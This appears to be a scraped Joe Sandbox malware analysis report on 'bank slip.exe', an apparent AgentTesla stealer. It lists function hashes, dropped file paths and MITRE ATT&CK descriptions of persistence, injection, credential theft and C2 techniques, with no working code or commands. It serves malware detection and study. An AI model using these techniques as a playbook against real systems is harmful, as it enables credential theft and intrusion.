Opcode ID: 38a15fa6f4f7e028ebbcd14b330e48d8203c6a53e84bb19078de3a0fbf75e8bd
Instruction ID: fd649643495da1941d5ee64c59f81ec2cbadc7c40da2697ed7ab4f94aba63045
Opcode Fuzzy Hash: 38a15fa6f4f7e028ebbcd14b330e48d8203c6a53e84bb19078de3a0fbf75e8bd
Instruction Fuzzy Hash: AB21D475701622CFCB58AB79C55881D7BB2AF89A2636108B8E506CF775DE36DC42CB80

Uniqueness

Uniqueness Score: -1.00%

Function 01490BC0 Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2180694168.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1490000_GUIVTme.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e956a184b46b47781992863baa9f001e218b92f9333e2dffaaf4fe916f3f1b5
Instruction ID: e5edc7d298e2e32b2298103a3f27ec8f2d0a03948659f52e89e58deef26beb44
Opcode Fuzzy Hash: 6e956a184b46b47781992863baa9f001e218b92f9333e2dffaaf4fe916f3f1b5
Instruction Fuzzy Hash: 6081AF39A00705CFDB25DB78D41869EBFB2EF88310F19856AE506A7274DB34AC85CB40

Uniqueness

Uniqueness Score: -1.00%

Function 01491C00 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2180694168.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1490000_GUIVTme.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d60f0c36f7ce8e9a64da23fb7e12d370d31b3f66176adb227df6e7c754c5f85a
Instruction ID: 20a782b4ddaad7aae35556e666cbe81975987b9cbcf69575d1bf81f97f4f0d45
Opcode Fuzzy Hash: d60f0c36f7ce8e9a64da23fb7e12d370d31b3f66176adb227df6e7c754c5f85a
Instruction Fuzzy Hash: 5511A07AE00206DFCB40DFB8D8449EAFBF1FF9931071081AAE515D7221E7349955CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01491C10 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2180694168.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1490000_GUIVTme.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11d55ef030bbccdc53aa1b5ef69f1967d04b252d478d4b950c332ce2d22b5198
Instruction ID: e7d1aeb34358efd1f002145390dc9e7bb93c260142297a44f37c8e7a47e08090
Opcode Fuzzy Hash: 11d55ef030bbccdc53aa1b5ef69f1967d04b252d478d4b950c332ce2d22b5198
Instruction Fuzzy Hash: 43019276F00206DFCB00DFB9D84489BFBF5FF8835071081AAE51997220E734A915CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01490880 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2180694168.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1490000_GUIVTme.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2786c3dde9bf35b8cd40b0460888471464b8c0486ecbdbb54726bbc48b46f861
Instruction ID: bec6c5ea8bd35bed7ab98d3a7d5001cc266dd4a93c8b79ef9dc61dc12d456f0e
Opcode Fuzzy Hash: 2786c3dde9bf35b8cd40b0460888471464b8c0486ecbdbb54726bbc48b46f861
Instruction Fuzzy Hash: 9BF0CD70D0E3969FCBE19FB498050DABFF4EA12320B0801ABD4C9D3112E2380D14CB93

Uniqueness

Uniqueness Score: -1.00%

Function 01490F9D Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2180694168.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1490000_GUIVTme.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 300af409e69a7448dafb550ca5b28b8407b9b02bcaf4409761f4eb42809b089a
Instruction ID: 7473760b94af85eab1bc61bb6305033e922e0e9ad97a39b7d35860da44744824
Opcode Fuzzy Hash: 300af409e69a7448dafb550ca5b28b8407b9b02bcaf4409761f4eb42809b089a
Instruction Fuzzy Hash: 1CF01CB5A00306DFDB24DBA4C15979E7FB0AB48B24F28089AD402A73B4DBB48C84CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01491AE0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2180694168.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1490000_GUIVTme.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 684af0fa926865a08d2b63e9f5204c5ae4c5d28485d7a4e29643c9f4d7f6879b
Instruction ID: 10f32281d566a05c4e7c4649157bba73edd86d1201f10f6edbdbe6e2b18a4b8a
Opcode Fuzzy Hash: 684af0fa926865a08d2b63e9f5204c5ae4c5d28485d7a4e29643c9f4d7f6879b
Instruction Fuzzy Hash: F7D05B357002149FD714DB79F949A463B78EF49651F514095EA04CB364EB71DC14C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 014908A8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2180694168.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1490000_GUIVTme.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0744fedb35c54bea5920b3c9dad942c16632b89800126c0c0580a64c8bca18c
Instruction ID: 35ef5f8a522a2d77caa2c7fb3d64b2d4bbd3c03e594619518cebeda36dd9ecaa
Opcode Fuzzy Hash: e0744fedb35c54bea5920b3c9dad942c16632b89800126c0c0580a64c8bca18c
Instruction Fuzzy Hash: 90D067B5D05219AF8F50EFF999051DEBBF8EE09250B104566D91DE7204E6705A108BD1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: GUIVTme.exePID: 8096, Parent PID: 1028COMMON

Executed Functions

Function 00691340 Relevance: 11.8, Strings: 9, Instructions: 600COMMON

Download Yara Rule

Strings

D@d, xrefs: 00691A64
D@d, xrefs: 00691B2F
D@d, xrefs: 006919DB
8gq, xrefs: 00691B75
D@d, xrefs: 00691A9D
D@d, xrefs: 00691B1D
D@d, xrefs: 00691A22
D@d, xrefs: 006919A3
D@d, xrefs: 00691968

Memory Dump Source

Source File: 00000012.00000002.2267577064.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_690000_GUIVTme.jbxd

Similarity

API ID:
String ID: 8gq$D@d$D@d$D@d$D@d$D@d$D@d$D@d$D@d
API String ID: 0-3965891166
Opcode ID: 4a0a852dd1a97a646a98e3a3f0d3203a3b75ffecbe202f289417ab06b95adb2d
Instruction ID: 1ec793ed95f704c4cbafecc5c138fd2f2062f7647979ae6c39e8f7c7f81188b1
Opcode Fuzzy Hash: 4a0a852dd1a97a646a98e3a3f0d3203a3b75ffecbe202f289417ab06b95adb2d
Instruction Fuzzy Hash: 63327F38B00202CFDB15EF74D89466A77BBBB86315F208968D4069B799EF31EC46CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00690BC0 Relevance: 1.6, Strings: 1, Instructions: 335COMMON

Download Yara Rule

Strings

D@d, xrefs: 00690E24

Memory Dump Source

Source File: 00000012.00000002.2267577064.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_690000_GUIVTme.jbxd

Similarity

API ID:
String ID: D@d
API String ID: 0-846468682
Opcode ID: eccf913a18b5146ed2ccf2b619c8bee210910b52fa0283354aa0f71ca33fb43c
Instruction ID: e5a5b543d6999cb56adfc04c79a76075f13c7581ff892ab3deb986a828195792
Opcode Fuzzy Hash: eccf913a18b5146ed2ccf2b619c8bee210910b52fa0283354aa0f71ca33fb43c
Instruction Fuzzy Hash: F081C139A00305CFDB16AFB4C85869ABBF7EF89310F148569E406A77A4DF34AC95CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00691230 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

tPcq, xrefs: 006912F7

Memory Dump Source

Source File: 00000012.00000002.2267577064.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_690000_GUIVTme.jbxd

Similarity

API ID:
String ID: tPcq
API String ID: 0-3229073321
Opcode ID: 2d86e09a2c370a3112022c16bd29662b2e6fc8b577e60da936b052bf5a2ef10d
Instruction ID: bb28cc21594e40f1446e36b3b2b7bb59024ad1ae4461a58a3a3703183c92bc73
Opcode Fuzzy Hash: 2d86e09a2c370a3112022c16bd29662b2e6fc8b577e60da936b052bf5a2ef10d
Instruction Fuzzy Hash: 8E3104757006228FCB59AB38C45891D7BF6AF8A72676108B8E406CF775DE36DC42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00691240 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

tPcq, xrefs: 006912F7

Memory Dump Source

Source File: 00000012.00000002.2267577064.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_690000_GUIVTme.jbxd

Similarity

API ID:
String ID: tPcq
API String ID: 0-3229073321
Opcode ID: 596ad29d683ffdab8107bfe2893f9bbed1a88741eefe9421318356db7530b15d
Instruction ID: 64051e28a38cfc17c86dc72aae278b9c145f9e5b76f5bcea51147f0973548292
Opcode Fuzzy Hash: 596ad29d683ffdab8107bfe2893f9bbed1a88741eefe9421318356db7530b15d
Instruction Fuzzy Hash: 1521D4757016228FCB58AB78C55881D7BB6AF8A71636108B8E506CF775DE36DC42CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00691C10 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2267577064.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_690000_GUIVTme.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db27c7141f9c8cb3960bcfb5584d49f2d6d3caa6cfa40891eb4cc47b1dba1bb8
Instruction ID: 9e813630dd673236259b75f1fc0b8bbd597627dbe2ea41fb774f3b1af2d87df5
Opcode Fuzzy Hash: db27c7141f9c8cb3960bcfb5584d49f2d6d3caa6cfa40891eb4cc47b1dba1bb8
Instruction Fuzzy Hash: 6A01B57AE002069FCB40EFB4D88489FFBF5FF89310710856AE519E7225EB30A915CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00690F9D Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2267577064.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_690000_GUIVTme.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00c1551ec99c616a0752577b8cefd5023628e74c0ae945558346ac96452fddd1
Instruction ID: 2fe446bd0a687e5e8bd6b3fa07d029c0dfbb22e95835dbd30f1e2c1c7dc9b2dc
Opcode Fuzzy Hash: 00c1551ec99c616a0752577b8cefd5023628e74c0ae945558346ac96452fddd1
Instruction Fuzzy Hash: 48F01579A00306DFDF24DBA4C5597AD7BF2AB49714F250899D402AB7A0DBB48C84CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00690898 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2267577064.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_690000_GUIVTme.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6f0171f26bafc40235169c3ca4508235037bca43737ff15017d97b3dc84319e
Instruction ID: 21b0d94d4d0701b9bbf8fc0baca8131d774e897c85d3a14899348b1874e23a1e
Opcode Fuzzy Hash: b6f0171f26bafc40235169c3ca4508235037bca43737ff15017d97b3dc84319e
Instruction Fuzzy Hash: E5E01AB1D01219AF8B809FA8A9052DE7BF9FE09310B110062DA09E7200E7705A058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 00691AE0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2267577064.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_690000_GUIVTme.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 322a80dfbee78b0a6a39f85d5685d9f5eb3f3618ec2a36df54f80914d268dfde
Instruction ID: 38e88671573cb523f80072b45512173ffcd4e704357c62383c317a2ae9cfb0ec
Opcode Fuzzy Hash: 322a80dfbee78b0a6a39f85d5685d9f5eb3f3618ec2a36df54f80914d268dfde
Instruction Fuzzy Hash: 7DD012397102149FC714EB65E949A85377DEB0A711F504095E504CB254EB61EC14C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 006908A8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2267577064.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_690000_GUIVTme.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fa04506a471fd2ff553c161a0db1c9f890c1ba55689ea9cc824d39a72eea72c
Instruction ID: 58db5ca8b7704a0431d9a3347963df349c7f15820adff125dd5224e5822a6483
Opcode Fuzzy Hash: 2fa04506a471fd2ff553c161a0db1c9f890c1ba55689ea9cc824d39a72eea72c
Instruction Fuzzy Hash: 25D067B5D01219AF8F40EFF999062DEBBF8FE09250B104566D919E3600E6705A108BD1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report bank slip.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\GUIVTme.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\bank slip.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\mKSjGvfmIulVB.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3oyi5kdz.x4n.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4thuxtx2.vjk.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l3eehkhi.hfv.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m01qiw3h.frr.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pmjzmuuk.i3n.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_trtgj4wc.ynl.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x2slqf4y.gjd.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zs5fnrbp.zom.psm1

Windows Analysis Report
bank slip.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre